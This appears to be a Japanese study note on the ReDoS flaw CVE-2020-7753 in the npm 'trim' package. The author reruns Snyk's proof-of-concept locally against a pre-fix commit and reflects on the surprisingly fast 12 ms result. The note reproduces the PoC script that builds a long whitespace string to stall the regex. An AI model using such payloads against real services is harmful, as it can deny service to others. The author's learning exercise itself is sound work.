脆弱性の世界
脆弱性
npm audit fixから考える
CVE-2022-7753
trimというnpmパッケージに見つかった脆弱性。
NVDにおけるページ
NVD - CVE-2020-7753
NVDは、NISTが運営する脆弱性データベース。
Snykにもページがある
Regular Expression Denial of Service (ReDoS) in trim | CVE-2020-7753 | Snyk
脆弱性の修正を確認する
trim vulnerabilities | Snyk
0.0.3以降は修正されている
脆弱性をつついてみる
楽しい
参考にするもの
脆弱性のアドバイザリーからPoCを探す
PoCとは、脆弱性による影響を実証するための手順を示したもの
あった
https://scrapbox.io/files/64dea4e2220825001cd43224.png
on Regular Expression Denial of Service (ReDoS) in trim | CVE-2020-7753 | Snyk
実行する
下準備
$ npm init
$ npm install git+https://github.com/Trott/trim/tree/d483c425940c998f57245f138007b3f7d23be8f9
ここで指定したのは、0.0.3への修正が始まる1個前のコミット
ファイルを作成
PoCの内容をそのまま記述した
code:index.js
var trim = require("trim");
function build_attack(n) {
var ret = "1";
for (var i = 0; i < n; i++) {
ret += " ";
}
return ret + "1";
}
var time = Date.now();
trim(build_attack(50000));
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost);
実行
$ node index.js
code:output.txt
time_cost: 12
どういうことか?
build_attack()
長さ$ n+2の長い文字列を生成する
つまり
関数 trim() に50002文字程度の文字列を与えると、処理に10ミリ秒程度要する
ReDoSという攻撃
ReDoSは正規表現を使ったDoS
正規表現の遅さ
処理に正規表現を用いることにより、一部の入力に対して処理が遅くなる
例
一般的に、正規表現とどこも一致しない入力は、一致する部分がある入力よりも処理が遅い
ん?
10ミリ秒、特に遅くないのではないか
当時(2020年10月)はReDoSに対して脆弱であったはず
ランタイムが最適化された?
Node.jsの更新を探る